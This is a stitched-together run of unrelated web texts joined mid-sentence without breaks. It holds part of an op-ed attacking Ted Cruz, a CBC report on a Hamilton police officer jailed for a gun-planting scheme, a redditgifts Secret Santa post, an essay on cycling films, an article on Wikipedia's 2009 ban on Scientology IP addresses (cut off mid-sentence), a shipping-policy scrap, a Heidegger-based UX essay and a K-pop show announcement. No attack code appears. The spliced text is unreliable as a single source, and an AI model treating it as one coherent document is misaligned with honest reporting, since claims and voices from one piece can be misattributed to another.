The Republican frontrunner has also repeatedly sought to restrict women’s access to abortion through legislation and through attempts to cut federal funding to Planned Parenthood. In fact, he vows that, if elected, one of the first things he will do on his first day in office is order the attorney general to investigate Planned Parenthood. Cruz’s religious fervor is also evident in his campaign’s declaration that “Our rights do not come from government. They come from God.” Accordingly, Cruz was instrumental in ensuring that the Supreme Court did not remove the words “under God” from the Pledge of Allegiance.
Cruz is also an opponent of gun control and a staunch defender of his interpretation of the Second Amendment. In reference to his defense of our right to bear arms, Cruz’s campaign states, “When citizens cease to have the right to defend ourselves, we cease to be free. And now, more than ever, as radical Islamic terrorists seek to attack Americans on our own soil, Americans’ right to protect our families and communities is all the more critical to our safety and freedom.” If Cruz is seriously concerned with the safety of US citizens then it is Americans and not foreign terrorists that he should be worried about. After all, the number of Americans killed on US soil by radical Islamic terrorists is miniscule in comparison to the more than 10,000 Americans who are killed by their gun-wielding fellow Americans every year.
A Cruz victory in November would result in a serious shift to the right for the United States with regard to both domestic and foreign policies. The Republican candidate’s policy proposals should terrify not only Americans, but people around the world who do not believe that the United States is an “exceptional nation” that knows what’s best for everyone. Such an imperialist approach over the past half-century by Washington has bestowed on us a chaotic world marked by terrorism, refugee crises, human trafficking, growing inequality and ecological destruction. A Cruz administration would only intensify this tragic reality. Contrary to what Cruz believes, what is best for America is not best for the world, as evidenced by recent polls that show the United States is seen around the globe as the greatest threat to world peace. A Cruz presidency would further validate that perception.Disgraced Hamilton police officer Robert Hansen was sentenced Thursday to five years in prison, after he was convicted of three charges related to a 2012 incident where a gun was planted in a suspect's home.
Superior Court Justice Catrina Braid said Hansen's actions took the goal of making Hamilton's streets safe into his own hands.
"His conduct was a form of vigilante justice," she said, in delivering the sentence.
Braid issued a sharp rebuke to Hansen's behaviour, demonstrated in text messages exchanged in May 2012 between Hansen and someone he thought would plant a gun at a suspected drug trafficker's house.
Hansen: "He could use some jail time. Do u you have any ideas how to get him?"
Source: "you keep him away from my girl by locking him up if you can do that I'll set him up for you"
"I'll let you guys get him with a thing"
Hansen:"This will get him put away for several years"
"I will help u fuck these guys up"
When the source expressed reluctance a few days later, Hansen encouraged him to persevere, and even talked about other "set ups" in the future.
Hansen: "It would help tons. Especially that heat."
His conduct was a form of vigilante justice. - Superior Court Justice Catrina Braid
Braid said Hansen abused a position of trust.
"Rather than investigating crime and putting legitimate evidence before the courts to determine a just outcome, Hansen took the goal of keeping the streets safe into his own hands," she said.
At the time Hansen was suspended and charged, he was a detective constable with the service's high-profile and impressive guns-and-gangs unit. He joined the service in 2000.
Hansen was found guilty in January of perjury and two counts of obstruction of justice related to the 2012 gun-planting incident.
He lied on the application to search the suspected drug dealer's house, making a false statement about the gun, and left other material things out, like that the gun hadn't just been in the trafficker's house but had actually been planted there to be used as evidence – on Hansen's urging. Then he made a false statement under oath to secure the warrant.
He plans to appeal both the conviction and the sentence.
'It is difficult to imagine activity that could have a more damaging effect'
The wrongdoing doesn't just affect the case against the suspected drug dealer whose house was the planned target of the planted gun, Braid said.
Ten drug prosecutions were terminated after he was charged.
"Hansen's conduct calls into question the integrity of other prosecutions in which he played a pivotal role," Braid said.
She admitted that Hansen's record was otherwise "unblemished" but said his misconduct undermines public confidence in the police.
"While it is true that his career has been untarnished to this point, it is difficult to imagine activity that could have a more damaging effect on the reputation of the Hamilton Police Service and the public's trust in the hardworking officers who patrol the streets."
Now suspended without pay
The sentence closes a chapter on a four-year legal process, during which Hansen, 41, has been suspended from work, but paid his salary in the meantime. He was listed on the Ontario Sunshine List as earning $103,370.49 last year.
His suspension and that of his guns-and-gangs unit colleague, Craig Ruthowsky, have been cited as particularly egregious as former Chief Glenn De Caire lobbied for the ability to suspend officers without pay.
As of hearing the sentence, Hamilton Police Service Chief Eric Girt invoked Police Services Act powers to suspend the officer without pay, effective immediately.
He remains a Hamilton Police officer as of Thursday, according to his defence attorney, Bernard Cummins. Hansen was taken into custody after the decision and will remain in custody pending his appeal next week, Cummins said.
Crown attorneys Peter Scrutton and Molly Flanagan had asked the judge Tuesday to issue a sentence of six years in jail as a strong message of "denunciation and deterrent" for any law enforcement officers tempted to act similarly. Cummins had said no more than 16 months was necessary.
'He has only himself to blame'
Members of Hansen's family in court on Thursday appeared stone-faced and declined to comment after the sentence was announced. Hansen has been married for 12 years and has two kids aged 10 and 8.
Cummins said that the family had been prepared for jail time as a mandatory component of a sentence for perjury, but the impact of Braid's decision emboldens Hansen's defence team, Cummins said.
"This has a devastating impact on his family life but that just strengthens our resolve to see if we can hear this at the court of appeal," he said.
Attorney Peter Scrutton, for the Crown, agreed on Tuesday that Hansen's family would suffer if he went to jail and lost his job.
"But this is because he committed a very serious offence, and breach of trust," Scrutton said.
"And he has only himself to blame for that."
kelly.bennett@cbc.ca | @kellyrbennettI was a virgin... to redditgifts until this year's Secret Santa exchange. I really didn't know what to expect from my "first time." Would it be tender, loving and thoughtful? Or would it be quick, clumsy and awkward?
They say that gentlemen don't kiss and tell, but there are just times in your life when you gotta spill the beans to someone.
The package had arrived several days before. I placed it under the tree and decided not rush into it hot-and-heavy, but rather wait until just right moment... maybe after a glass or two of wine, romantic music playing, under the glow of soft candlelight.
There is sat... lovely and appealing under the plush, aromatic needles of the tannenbaum... beckoning me ever-so-subtly, but trying not to be too obvious.
I was bashful, but knew full well that a special and intimate time together was nearing.
As the days and evenings passed the connection between us grew stronger. I fought the urge to act on my most primal desire. I dreamt of the moment when I would finally caress its petite and taut shape through the delicate tissue that covered it in a teasing yet conservative way. Much like a geisha's kimono hides the form of the flower beneath it... allowing the imagination to drift into a sea of pleasant expectation (and more).
Finally the temptations grew too strong to battle. Seeing it there luxuriating under the warmth of twinkling lights, I could wait no longer. I reached down and lifted it delicately... gently enough not to spoil the moment, but firmly enough to let it know my desire.
After an instant in my hands we moved to the table and I laid it gently onto the smooth, lightly grained surface. In retrospect this may have appeared bold and perhaps a little too expectant, but hearing no objections I began carefully removing the thin layer of material that separated me from absolute intimacy.
Before I could wrap my mind around the reality of what was happening, the chiffon-like paper separating us was heaped on the floor. The toned and expectant shape beneath lay there on the table... peering up at me with look that pierced directly into my soul.
Out of deepest respect for my new-found partner I feel it would be unforgivable to divulge much more of the time we spent together after than initial, passionate encounter.
What I can say is that it was clear that my Santa went above-and-beyond my wildest expectations, and left me with memories that will forever softly glow in my memory. She had gotten to know me and cared for me in more passionate, daring, innovative and attentive ways than I could have ever imagined. I could have never asked for a better "first time" than my own personal Secret Santa showed me.
Thank you dear Santa... You're awesome! The variety of gifts you sent were amazing! You clearly took the time and effort to make this a special collection. We enjoyed (and will enjoy) everything.
May your 2018 bring you much success and happy times!
From your friends... TexasJoey, Mari, Kaya and Qoopi.Cycling and art have a long history. For Toulouse-Lautrec, track racing in 1890's Paris was an essential part of the city's vivid twilight. Duchamp's bicycle wheel is a powerful symbol: like his Fountain (the urinal), it is both everyday and a little bit subversive.
Since its invention, the bike has stoked the passion of diverse artists, some for the circus hustle of the race, others the egalitarian potency of the original and best mass transport. Last week's Cyclescreen 2011, a bicycle film festival enjoying a successful second year at the Watershed in Bristol, presented exciting new work and some of the best classic cycling films.
The best cycling films capture the anarchic buzz of sleepy provincial town transformed into gladiatorial grandstand, and the short films Pour un Maillot Jaune, by Claude Lelouch, and Vive le Tour, by Louis Malle, achieve this very vividly. Both films are slickly new wave in style; though typical new wave features like hand-held shooting, jump cutting and a non-professional cast are difficult to avoid when filming The Tour de France.
Both films emphasise the subversive carnival of the race in a less stage-managed age, with multiple scenes of urination en route, and the riders looting a roadside cafe.
The masterpiece of bike race filming is undoubtedly Jorgen Leth's A Sunday in Hell, a documentary about the 1976 Paris-Roubaix race. The film is still used, Leth explained at the festival, by professional cyclists preparing for the race, yet so deftly is the competition between favourites narrated that the drama works for viewers with no interest in cycling. The range of Leth's technique, including a choir chanting "enfer" ("hell") in the background and the slow-motion sequences of the bikes bouncing along the notorious cobbled track, is stunning. But most impressive is the breadth of setting - including a French printers' strike disrupting the start and the carnival atmosphere in the crowd - which show the race, for all of its sporting prowess, as part of the fabric of French life.
Mainstream cinema has also found the bike a potent icon. For Italian neo-realist director De Sica, the bike in his 1948 film Bicycle Thieves is the key metaphor for opportunity in a society still devastated by war; the theft of the bike begins a spiral of both moral and economic decline.
In class-riven Britain, the bike has often been a lazy visual shorthand for working class. As Iain Sinclair has pointed out in the LRB recently, the first episode of Coronation Street featured the snobbish Ken Barlow "paralysed by pretension... outraged when his father and brother mend a puncture on the carpet, in front of the living-room fire."
Fortunately, some directors with an interest in cycling have explored the theme in more interesting ways. Sir Ridley Scott's first film, Boy and Bicycle is a kind of stream-of-consciousness exploration of a the boy's thoughts about growing up in industrial Hartlepool, in which his bike is both literal and metaphorical means of exploration. Scott's company, RSA Associates, has recently made a series of shorts for clothing manufacturer Rapha.
Rapha is not alone in rejuvenating British cycling culture. Cyclescreen's newest film B÷IKZM÷IND (phonetic abbreviation of Bristol phrase 'nice bikes mind') told the story of the Bristol fixed gear scene, which has exploded in popularity recently, as it has in many cities. No longer just about couriers squirming through fag-paper gaps in the traffic, fixed gear riders run communal events, and the scene engages large numbers of mainly young people.
Resurgence in the cultural profile of cycling in Britain has been swift, and recent. Speaking to Cyclescreen, Guardian writer William Fotheringham recalled how, 10 years ago, no publisher was interested in a book on Lance Armstrong's return to cycling after cancer treatment. Today there are numerous books about Armstrong, and the market in cycling books is booming. Next month's Intelligence Squared debate about cycling culture features writers on a par with Europeans like Leth, Roland Barthes and novelist Antoine Blondin, who have written seriously about cycling culture.
The bike is still prominent in conceptual art. Turner Prize-winning artist Simon Starling's most distinctive bike-based work, the Five-Man Pedersen, draws on his interest in the technical structures, but, with its five riders together, also represents the bike very powerfully as icon of community. Even more recently, the bike as catalyst of urban creativity is celebrated in the Papergirl project of Berlin, Manchester and Bristol.
No other icon in sport or transport has retained such constant or potent significance. The car, once all open road and opportunity, now evokes the dystopia of Jeremy Clarkson and carmageddon. The train has surrendered its Brief Encounter romance to the absurdity of leaves on the line, and the misery of the sweaty commute.
Speaking to Cyclescreen, writer Rob Penn pointed out that the introduction of the safety bicycle in the 1880s was a revolution not just in transport but society, bringing health, freedom and opportunity to millions. 125 years on, as cycling for work, leisure and health increases, the revolution continues.Church of Scientology IP addresses blocked
2) All IP addresses owned or operated by the Church of Scientology and its associates, broadly interpreted, are to be blocked as if they were open proxies. Individual editors may request IP block exemption if they wish to contribute from the blocked IP addresses. Passed 10 to 1 at 13:31, 28 May 2009 (UTC) Church of Scientology edits to Wikipedia led to a ban on editing the entire website from the organization's computers.[1][2][3]
A series of incidents in 2009 led to Church of Scientology-owned networks being banned from making edits to Wikipedia articles relating to Scientology. The Church of Scientology has long had a controversial history on the Internet, and has initiated campaigns to manipulate material and remove information critical of itself from the web. From early in Wikipedia's history, conflict arose within the topic of Scientology on the website. Disputes began in earnest in 2005, with users disagreeing about whether or not to describe Scientology as an abusive cult or religion. By 2006, disagreements concerning the topic of Scientology on Wikipedia had grown more specific. Wikipedia user and Scientology critic David Gerard commented to The Daily Telegraph in 2006 that some articles were neutral due to a requirement to reference stated facts.[4]
Revelations from software produced by Virgil Griffith in 2007 called WikiScanner made public the nature of edits on Wikipedia which were able to be traced directly back to Church of Scientology-controlled computers. CBS News and The Independent reported that edits by the Church of Scientology were made in attempts to remove criticism from the main article on the topic. The Times and Forbes noted that Scientologist computers were used to remove links between the Church of Scientology and a former anti-cult organization, since taken over by Scientology, the Cult Awareness Network. Der Spiegel reported that Wikiscanner revealed Scientology computers were used to promote Scientology's critical view of psychiatry, including adding links to the Scientology-founded Citizens Commission on Human Rights (CCHR) and to websites of other groups affiliated with Scientology.[5]
In January 2009, The Register reported on a case involving Scientology before Wikipedia's Arbitration Committee. The Arbitration Committee on Wikipedia is composed of a group of volunteers elected by the editing community to resolve especially difficult conflicts. Wikipedia administrators presented evidence during the case that Scientology-controlled computers were used to promote the organization, using multiple user accounts. One user going by the pseudonym "COFS" admitted this pattern of editing, and stated the edits from Scientology computers would continue. In May 2009, the Arbitration Committee decided to restrict editing from IP addresses belonging to the Church of Scientology, to prevent biased edits by editors within Church of Scientology-administered networks. The decision accorded Scientology-controlled IP addresses the same blockable status as open proxies on the site. A large number of Scientology critics were banned as well. The committee concluded that both sides had "gamed policy" and resorted to "battlefield tactics", with articles on living persons being the "worst casualties".[6][7]
Arbitration Committee member Roger Davies wrote the majority of the decision, and commented to The New York Times that due to the controversial nature of the case, the decision was crafted so as not to focus directly upon any particular individual.[8] Wikipedia media contact Dan Rosenthal emphasized in a statement to ABC News that it was generally accepted procedure on the site to ban users that had violated policy intended to prevent them from promoting propaganda.[9] Wikimedia Foundation spokesman and head of communications Jay Walsh said to Bloomberg BusinessWeek the Arbitration decision was intended to help restore Scientology-related articles to an acceptable state on the site.[10] Wikimedia Germany spokesperson Catrin Schoneville stated to Computerwoche that the decision impacted the English Wikipedia, and noted it was unclear whether a similar ruling might be applied to the German Wikipedia.[11] Statements from Scientology spokeswoman Karin Pouw labelled the Arbitration ruling as a routine matter, and maintained there were still "gross inaccuracies" on the Scientology article.[10] In a statement to CNN, Pouw denied the presence of an organized campaign by the Church of Scientology to manipulate Wikipedia.[12] Scientology representative Tommy Davis emphasized to the St. Petersburg Times that users critical of the organization were also banned, and similarly denied that Scientology leadership arranged a campaign to manipulate entries on Wikipedia.[13]
Background
The Church of Scientology has a controversial history on the Internet.[14] It has been criticized for attempting to restrict freedom of speech on the Internet; this conflict has come to be known as Scientology versus the Internet,[15][16][17] or Scientology v. The Net.[18][19][20] The organization has attempted to manipulate and maintain power over its public image on the web.[14][15] Early lawsuits involved in this dispute have included Religious Technology Center v. Netcom,[19] as well as Religious Technology Center v. F.A.C.T. Net.[21] Writing in his book, Cyber Rights: Defending Free Speech in the Digital Age, author Mike Godwin noted, "In one of the earliest widely publicized sets of cases involving intellectual property on the Net, the Church of Scientology has been exploring the uses of copyright and trade secret law when it comes to silencing its critics, many of them former members of the church."[19] The Guardian noted, "According to insiders and security experts, Scientologists have been conducting concerted campaigns for more than a decade to remove online information critical of the organisation."[14] In response to criticism over its actions on the Internet, Scientology has stated its efforts are aimed at defending the copyrights over its secretive spiritual documents.[15][16]
Legal cases have involved a newsgroup focused on the topic called alt.religion.scientology, which revealed information from advanced Scientology methods including the Operating Thetan (OT) levels that describe the story of Xenu.[15][16] In 1995, attorneys representing the Church of Scientology tried to get alt.religion.scientology removed from Usenet.[15][17] This maneuver had the opposite impact for Scientology, serving to drive up popularity of alt.religion.scientology and resulting in a "declaration of war" from the hacker organization Cult of the Dead Cow.[17] Professor David S. Touretzky of the computer science department and Center for the Neural Basis of Cognition at Carnegie Mellon University in Pittsburgh, Pennsylvania, is a critic of Scientology and proponent of freedom of speech on the Internet.[16] He noted the Scientology organization was, "trying to threaten freedom of speech on the Internet by making service providers legally responsible for their customers' speech."[16] Wendy M. Grossman, journalist and founder of The Skeptic, observed of Scientology's attempts to suppress information on the Internet,
"Scientology versus the Net... was the original net.war. The story was at heart pretty simple (and the skirmishes continue, in various translations into newer media, to this day). Scientology has a bunch of super-secrets that only the initiates, who have spent many hours in expensive Scientology training, are allowed to see. Scientology's attempts to keep those secrets off the Net resulted in their being published everywhere. The dust has never completely settled. Three people can keep a secret if two of them are dead, said Mark Twain. That was before the Internet. Scientology was the first to learn – nearly 15 years ago – that the best way to ensure the maximum publicity for something is to try to suppress it."[22]
History
Early conflict
Conflict within the topic of Scientology on Wikipedia arose early on from the website's beginnings.[23] Author Jonathan Zittrain noted in The Future of the Internet – And How to Stop It, his 2009 book published by Yale University Press, that "as Wikipedia grew it began to attract editors who had never crossed paths before, and who disagreed on articles they were simultaneously editing. One person would say that Scientology was a 'cult', the other would change that back to'religion,' and the first would revert it back again."[23] In a 2005 article about Wikipedia for The Guardian, Charles Arthur noted individuals debated online, "whether Scientology should be classed as a cult", and he compared the "cultism" of Scientology to that of Wikipedia itself.[24] ABC News noted in a 2009 article, "Wikipedia disputes about Scientology have gone on since 2005."[9]
In 2006, conflict on Wikipedia within the topic of Scientology was drawn out over specific disagreements.[25] Journalist Alan Bjerga of McClatchy Newspapers reported in August 2006, "Wayne Saewyc, a Wikipedia spokesman, said debates on controversial topics can become incredibly time-consuming and sometimes maddening. In the entry covering Scientology, for example, contributors argued for nine months over whether the Scientologist method of childbirth should be called'silent birth' or 'quiet birth.'"[25] In an October 2006 article about Wikipedia, Paul Vallely of The Independent commented that, "Some pages seem to have been taken over by fanatics and special interest groups (try the Scientology page)."[26] Wikipedia user and Scientology critic David Gerard is cited in The Daily Telegraph in October 2006 about the state of Scientology articles on the site as believing that “the Wikipedia entry is the most balanced and informative account to be found anywhere on the web."[4] Gerard commented on "NPOV" (neutral point of view) in the topic, "This is a good example of why NPOV is one of the most revolutionary things about Wikipedia. On the web you'll find a lot of Church of Scientology sites, and a lot of critics' sites, which are generally very bitter. On Wikipedia you have to be neutral, and you have to be able to reference your facts."[4]
WikiScanner revelations
The development of the WikiScanner software by Virgil Griffith in 2007 revealed changes made to Wikipedia articles by Scientology organization computers.[27] CBS News reported, "Many of the edits are predictably self-interested: PCs in Scientology officialdom were used to remove criticism in the church's Wikipedia entry."[28] The Independent noted, "Computers with IP addresses traced to the Church of Scientology were used to expunge critical paragraphs about the cult's world-wide operations."[29] The Times reported that a computer operated by the Church of Scientology was used to manipulate information in the Wikipedia article about the Cult Awareness Network, "A computer linked to the Church of Scientology's network was used to delete references to links between it and a group dubbed the 'Cult Awareness Network.'"[30] Forbes noted, "Scientology officials appear to have removed critical comments from an anti-cult organization."[31]
Der Spiegel reported in more depth on some of the edits revealed by Wikiscanner to have been made on Wikipedia by computers associated with the Church of Scientology. From 2003 to 2007, 170 edits were made, a large proportion of which focused on Scientologist views critical of psychiatry. For example, the article "Kurt Cobain" was edited by a Scientologist in order to include a link to the Scientology-founded "Citizens Commission on Human Rights" (CCHR),[5] putting forth the notion that "the singer's childhood Ritalin prescription led him to suicide".[32][33] Multiple edits involved adding links to webpages of organizations affiliated with Scientology.[5]
Reporting for Slate, journalist Michael Agger observed that an edit by a Scientology-associated IP address to a Scientology-related article on Wikipedia does not necessarily indicate such an edit was made by an employee of the organization. Virgil Griffith explained, "Technically, we don't know if it came from an agent of that company. However, we do know that edit came from someone with access to their network. If the edit occurred during working hours, then we can reasonably assume that the person is either an employee of that company or a guest that was allowed access to their network."[32]
Project Chanology
After the Scientology organization tried to remove a promotional film of Scientology featuring celebrity member Tom Cruise from the Internet, a group of web-based activists known as "Anonymous" focused efforts against Scientology.[14] Anonymous disrupted Scientology websites and spread anti-Scientologist materials online.[14] In July 2008, Messenger Newspapers noted, "A war between internet collective Anonymous and the Church of Scientology" had been "fought out largely on the battlefields of YouTube, Wikipedia and other websites", before emerging to become a movement with protests taking place in front of Scientology buildings.[34] Known as Project Chanology, the movement was "Organised from a Wikipedia-style website (editable by anyone) and through anonymous internet chat rooms".[35] The New York Times noted that through its actions related to attempts to remove the Tom Cruise video from the Internet, the Church of Scientology became a victim of the Streisand effect – a phenomenon whereby attempts to suppress information on the Internet end up having the opposite impact.[36]
Arbitration Committee ban
Scientology case on May 28, 2009 Wikipedia's Arbitration Committee concluded thecase on May 28, 2009
In January 2009, The Register reported on an ongoing case involving Scientology before Wikipedia's Arbitration Committee, "According to site administrators, several pro-Scientology accounts have been editing the site using Scientology-owned computers."[37] The Arbitration Committee on Wikipedia is composed of a group of volunteers elected by the editing community to resolve especially difficult conflicts.[38][39] During the Arbitration case, the page about Scientology was modified by members of the organization.[37][40] Scientology members had doctored entries in order to advertise for their cause.[41] The Register noted that one of the Wikipedia users admitted he had edited from computers operated by the Scientology organization, "One of these pro-Scientology editors – who once used the handle 'COFS' – has admitted as much. And he vows to continue editing Scientology articles from Scientology computers."[37] The Register quoted the "COFS" user as saying, "I am not going to leave voluntarily and I will continue to use a) my own computer, b) public computers, c) my wireless laptop, d) computers in the Church of Scientology and any station I please".[37] The Guardian cited The Register, and noted, "The technology news website The Register alleges the church has an organised operation to challenge internet criticism."[42]
In an effort to adhere to Wikipedia policy, Wikipedia's Arbitration Committee decided on May 28, 2009,[43] to restrict editing from Scientology organization IP addresses in order to prevent self-serving edits by editors within Church of Scientology-administered networks.[6][44] The decision accorded Scientology-controlled IP addresses the same blockable status as open proxies on the site.[45][46][47] Ten members of the Arbitration Committee voted in favor of the ruling,[48][49][50] thus preventing such users from editing existing articles or creating new articles on the site.[51] Wikipedia previously frequently had banned individual users from the site, but not entire organizations.[52] The Arbitration decision came as the culmination of a "longstanding struggle" involving promoters of the organization and critics of its practices.[53] ABC News noted the conflict was "one of the longest-running disputes in Wikipedia's history".[9] The conflict involved over 400 articles within the topic of Scientology.[54][55] It was the fourth such Arbitration Case before Wikipedia's Arbitration Committee on the topic of Scientology in the prior four years.[9][56][57] The case was drawn out for six months, prior to the decision of the Arbitration Committee.[58]
The committee ruled that the Scientology organization had a responsibility to "ensure appropriate use of its servers and equipment",[1] and pointed to a conflict of interest involved with edits from Scientology-associated computers.[59] The block on IP addresses includes those originating from the Church of Scientology's offices in Los Angeles, California;[60] the organization additionally maintains headquarters in Clearwater, Florida.[13]
News.com.au reported, "According to evidence found by Wikipedia, multiple users with known scientology IP addresses had been 'openly editing (Scientology-related articles) from Church of Scientology equipment and apparently coordinating their activities'."[61] Sky News noted that the ban on Scientology computers applies to "Any computer addresses 'owned or operated' by the Church or associates linked to it".[62] Fox News Channel reported on the decision, "The encyclopedia's administrators found that Scientology computers had been repeatedly changing more than 400 pages related to the Church, deleting negative references and adding positive ones. The volume of changes was overwhelming administrators' ability to reverse them, hence the block."[63] Fox News Channel described the decision by the Arbitration Committee to block Scientology-controlled IP addresses as "an unprecedented move";[63] The Guardian similarly noted, "whatever your feelings towards the world of Scientology, Wikipedia's decision to enact a blanket ban appears to be unprecedented."[14] InfoWorld wrote that edits by the Scientology organization were motivated by, "a massive organized effort to make the CoS look good and/or counter the relentless public criticism that has shadowed the organization since the earliest days of the Net."[64] Wired News reported that the ban on the Scientology organization was triggered by "repeated and deceptive editing of articles related to the controversial religion".[65] The Los Angeles Times noted that the ban stemmed from "the church's self-serving wiki-revisionism".[66] Der Spiegel noted that skeptics doubted the efficacy of the ban on the Scientology-controlled IP addresses, and commented on the likelihood of individuals creating multiple account names.[67]
A "host of anti-Scientologist editors" were topic-banned as well by the arbitration committee.[6][44] The committee noted that an "aggravating factor" had been "the apparent presence of notable critics of Scientology, from several Internet organisations, apparently editing under their own names and citing either their own or each other's self-published material."[6] The committee concluded that both sides had "gamed policy" and resorted to "battlefield tactics" to create articles that were either "disparaging or complimentary", with articles on living persons being the "worst casualties".[6][7]
Wikimedia Foundation head of communications Jay Walsh emphasized the Arbitration decision was aimed at getting Scientology-related articles to an acceptable state on Wikipedia
Arbitration Committee member Roger Davies wrote the majority of the decision in the Scientology case.[8] Davies commented in an interview with The New York Times, "It was obvious that this case was going to be controversial pretty much from the start. What we have done is we've really tried to make sure that we have not directed our fire at anyone in particular."[8] He noted there was a recurring pattern of disputed editing on controversial topics, "One of the problems we keep bumping into is what I call core belief issues — politics, religion, nationalism. Fringe faiths, fringe nationalities."[8]
Wikimedia Foundation spokesman and head of communications, Jay Walsh,[10] stated the decision was focused on reducing hostility within the subject and getting articles back to an appropriate state.[68] Walsh emphasized to Bloomberg BusinessWeek that edits which serve the interests of organizations are acceptable, but |
days depending on your location (your package is shipped from Southern California). All international orders are shipped USPS first-class international, this usually takes between 5~10 business days but at times can take up to 2~3 weeks.
International customers are responsible for any custom fees charged by their country. Please check the policies of your government as each country has different policies on this matter. I apologize in advance, but I will not mark your package as a gift, nor will I misrepresent the value of the package.In my role as strategist for a marketing agency, I work with a number of clients who have, in the past few years, taken a more customer-centric approach to their marketing activities.
In a practical sense this means they provide their customers a variety of mostly digital tools–cost calculators, supplier locators, e-catalogs, and the like.
When they tell me about the work they’re doing to optimize user experience, they describe approaches that are more about the properties of these tools–their appearance and functionality–than the experience of the user.
They don’t talk about what their customers are really doing when they take up one of their tools, as if that matter has already been settled. However, many of them also complain that their marketing efforts (i.e., these tools) are failing to deliver the results they’re aiming for.
Looking to Heidegger
One explanation for this failure is that when we use, say, a mobile app our experience is not primarily with its properties—its appearance and functionality. This was a distinction anticipated by the 20th century German philosopher Martin Heidegger. For Heidegger, the objects we use are most meaningfully experienced in context, as the stuff of everyday life.
For a given occasion, the heart of my experience using Google maps is that I can’t be late for an important meeting in an unfamiliar location. My experience is not centered around any of its features. Understanding the experience of using an object depends on understanding the context of use. Even a glancing familiarity with Heidegger and the philosophy of René Descartes, which is the line of thinking Heidegger stood against, will shine a light on the importance and character of context.
The prevailing understanding of user and experience–the understanding behind my clients’ preoccupation with the properties of the tools they provide their customers–grows out of Descartes’ thinking, according to which, each of us is a self-sufficient subject (“a thinking thing”) engaged at a purely intellectual level with objects and their properties. So it’s no surprise that we define users as primarily concerned with the appearance and function of the objects they use, and require that experience be explained in terms of these properties.
According to Descartes, as thinking (rational) beings, an object’s properties are all that are truly available to us. The instinctive, intuitive–non-rational, absolutely contextualized–ways we access and use objects for meeting the demands of a specific situation are effectively invisible to this understanding of user experience.
Emphasizing his staunch opposition to the Cartesian tradition, Heidegger describes the kind of being we experience with the phrase “being-in-the-world.” This connotes not location but involvement (as it does when we say, for example, “in love”) and "world" stands for all the unwritten rules directing one’s involvements. For example, the way a door is experienced as the means for going in and out of a room and not as a slab of wood. As being-in-the-world we experience objects as useful or not useful in relation to a specific situation. Think of the pen you pick up to jot a quick note. Before picking it up you don’t stop to consider its color, material makeup, functional advantages, etc. You are involved in the situation that calls you to make a note and the pen is only there for you as a pen because of that situation.
Don’t Be Cartesian
Though the customer-centric agenda many of my clients have recently adopted might be a positive development, it’s misguided. The agenda shouldn’t be directed by the Cartesian framework, which underlies the preoccupation of most organizations with the properties of the things they produce. Yes, at some level properties matter to users, but they are not what the average, ordinary, everyday experience of moment-to-moment reality is about. It’s this level of experience that’s both most essential to us and least understood by organizations producing things that get used. Getting a handle on this common, everyday, lived experience is crucial for marketing and UX professionals, and it requires a paradigm shift of the kind Heidegger introduced with the concept of being-in-the-world.
The situated involvement at the heart of being-in-the-world reflects an interior condition very different than the Cartesian stance towards a world of objects, which is subjective and rational. Heidegger describes it with the word care. He says being-in-the-world is care. A thing matters–we care about it–because it is of a specific particular situation, and it depends on the full network of relations that define a situation.
Great UX … should be a matter of getting the phenomenon of individual involvements right.
I care about the pen because it allows me to make a note, which is how I remember the groceries I have to pick up on my way home, which is an enactment of providing for my family, which is … well, the point is made. The glue that coheres these relationships is care.
The structure of being-in-the-world is such that I encounter, first and foremost, myself as mattering (Heidegger says that our very being is an issue, a matter of foremost concern). I am what I most care about; I am my primary involvement. This care expresses itself as what could be called adornment: I adorn myself with artifacts and acts, interests and involvements. It is how I experience my self. This adornment is called style, and even those who eschew fashion have it.
How is This Mine?
Now we see how objects exist most meaningfully for us–not as assemblages of properties but as the means by which one is involved or being-in-the-world. What marketers need to get right is the way this universally human structure manifests individually and locally. These adornments are deeply personal and practical. They manifest involvement and through them the self is experienced, shaped, and reshaped. Products that get it right will at least be temporarily indispensable to their users.
This is the phenomenon that explains the popularity of the iPhone–just consider the countless people who have repurposed one of their hands into an iPhone holder! With its explicit concern for style (the recent “Designed by Apple in California” campaign underscores the explicitness of this concern) iPhone reflects back on the user the phenomenon of adornment, the way one is essentially involved with oneself. Great UX (and marketing) shouldn’t be a matter of getting the properties right. It should be a matter of getting the phenomenon of individual involvements right.
When I use the biking app on my smartphone I am enacting an experience of my self. Using the app is not most meaningfully an interaction with any of its properties (or the smartphone’s). I’m not called to use the app for its graphics or its numerous functions. I’m called to use it because, as an adornment, it reflects back to me the image I have of myself as a serious cyclist. In this reflected image is an experience of my self.
Great UX will understand this phenomenon and begin to incorporate it into its designs and product development. Case in point, my biking app allows me to extend my experience of my self into a world it opens to me–by means of its social functions I can follow other riders and others can follow me.
Admittedly the kind of experience I’m describing is nuanced and perhaps only accessible with special objects–tools that call us to be in some way extraordinary, meta versions of ourselves. On the other hand, what I’m describing is tethered to an appreciation of the most fundamental phenomena of being human. When Descartes developed his rigorously rational philosophy it was against a background of, and an antidote to, intolerable uncertainty. For that reason it held sway.
The pendulum has swung the other way in the four centuries since. In our age we are not best understood as “thinking things” building structures of unassailable certainty. And with the abetting of today’s robust analytics, the Cartesian framework threatens to reduce all humanity to an objectified commodity, cut off from the source of meaningful experience.
By contrast Heidegger situates objects in a world of deeply personal involvements where nothing is standalone and stable, nothing is ultimately determined, and consequently everything is in play. Such a world is ad hoc (a door closed with excessive force is used to express anger); our involvements improvised and intense—the very stuff of a meaningful life. Marketers should want to know that objects are the adornments of being-in-the-world—that they are the means by which I experience first and foremost my self.
Conclusion
Without an appreciation of these phenomena, marketers and UX designers misapprehend the nature of experience and misunderstand the essential motivations of users. This trap is easy to fall into, since very little directs us away from the hyper-rational focus of the Cartesian perspective. But if we’re serious about understanding user experience–or more to the point, human beings and their experiences–there’s an alternative approach, and it takes that work seriously.
Image of abstract watercolor courtesy shutterstock.Two new faces will be making appearances on KBS’s “Immortal Song”!
On May 27, a representative confirmed that Akdong Musician member Lee Soohyun, I.O.I, and Muzie are scheduled to appear, alongside the other performers, Rose Motel, Clazziquai, Son Seung Yeon, and Kim Ji Woo. They will all participate in the the May 30 recording of the show, which will take place at KBS New Wing Open Hall. This future episode will feature cover performances of artist Hong Seo Beom’s songs.
They also reveal, “This will be the first time Lee Soohyun, I.O.I, and Muzie appear on ‘Immortal Song.’ Lee Soohyun is preparing a solo performance without her brother Lee Chanhyuk. All eleven members of I.O.I will participate in the performance, and Muzie plans to show the audience a different side to himself.”
According to their statements, this episode will feature both new and veteran singers, and will no doubt put on performances that will impress the eyes and ears of the audience. Many are anticipating the younger additions to the show’s line up.
